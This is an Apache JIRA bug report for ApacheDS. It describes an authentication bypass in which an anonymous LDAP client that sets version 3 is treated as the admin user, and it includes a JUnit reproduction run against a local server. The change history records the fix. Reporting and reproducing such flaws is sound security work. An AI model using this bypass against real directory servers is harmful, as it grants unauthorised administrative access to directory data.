Issue Details (XML | Word | Printable)

Key: DIRSERVER-363
Type: Bug Bug
Status: Closed Closed
Resolution: Fixed
Priority: Blocker Blocker
Assignee: Alex Karasulu
Reporter: Endi S. Dewata
Votes: 0
Watchers: 0
Operations

If you were logged in you would be able to see more operations.
Directory ApacheDS

Anonymous user may gain access as admin user

Created: 31/Aug/05 09:44 AM   Updated: 10/Feb/06 12:34 PM
Return to search
Component/s: None
Affects Version/s: None
Fix Version/s: None

Time Tracking:
Not Specified

Resolution Date: 12/Sep/05 08:22 AM


 Description  « Hide
Anonymous user may gain access as admin user by specifying java.naming.ldap.version=3 in the JNDI client.

To show the problem, add a print statement in the AuthenticationService.java at line 369:

                // perform the authentication
                LdapPrincipal authorizationId = authenticator.authenticate( ctx );
                System.out.println("Authorization ID: "+authorizationId);

Start the server, then run the following program:

import junit.framework.TestCase;
import javax.naming.Context;
import javax.naming.NamingEnumeration;
import javax.naming.directory.*;
import java.util.Hashtable;

public class Test extends TestCase {

    public void testAnonymousBindWithLDAPVersion3() throws Exception {

        String suffix = "dc=apache,dc=org";

        Hashtable env = new Hashtable();
        env.put(Context.INITIAL_CONTEXT_FACTORY, "com.sun.jndi.ldap.LdapCtxFactory");
        env.put(Context.PROVIDER_URL, "ldap://localhost:10389/");
        // env.put("java.naming.ldap.version", "3");

        DirContext ctx = new InitialDirContext(env);

        SearchControls sc = new SearchControls();
        sc.setSearchScope(SearchControls.SUBTREE_SCOPE);

        NamingEnumeration ne = ctx.search(suffix, "(objectClass=*)", sc);

        System.out.println("Search results:");

        int counter = 0;
        while (ne.hasMore()) {
            SearchResult sr = (SearchResult)ne.next();
            String rdn = sr.getName();
            System.out.println(" - "+("".equals(rdn) ? suffix : rdn+","+suffix));
            counter++;
        }

        System.out.println("Found "+counter+" entries.");

        ctx.close();
    }
}

Without specifying java.naming.ldap.version=3, the user will remain anonymous (empty Authentication ID). However, with java.naming.ldap.version=3, the anonymous user gets authenticated as the admin user without even specifying any password.


 All   Comments   Work Log   Change History   Subversion Commits      Sort Order: Ascending order - Click to sort in descending order
Alex Karasulu made changes - 31/Aug/05 12:26 PM
Field Original Value New Value
Priority Major [ 3 ] Blocker [ 1 ]
Alex Karasulu made changes - 12/Sep/05 04:27 AM
Status Open [ 1 ] In Progress [ 3 ]
Alex Karasulu made changes - 12/Sep/05 08:22 AM
Resolution Fixed [ 1 ]
Fix Version/s 0.9.3 [ 12310193 ]
Status In Progress [ 3 ] Resolved [ 5 ]
Endi S. Dewata made changes - 16/Sep/05 12:14 PM
Status Resolved [ 5 ] Closed [ 6 ]
Alex Karasulu made changes - 10/Feb/06 12:34 PM
Project Directory Server [ 10516 ] Directory ApacheDS [ 12310260 ]
Key DIREVE-239 DIRSERVER-363
Affects Version/s 0.9.3 [ 12310193 ]
Fix Version/s 0.9.3 [ 12310193 ]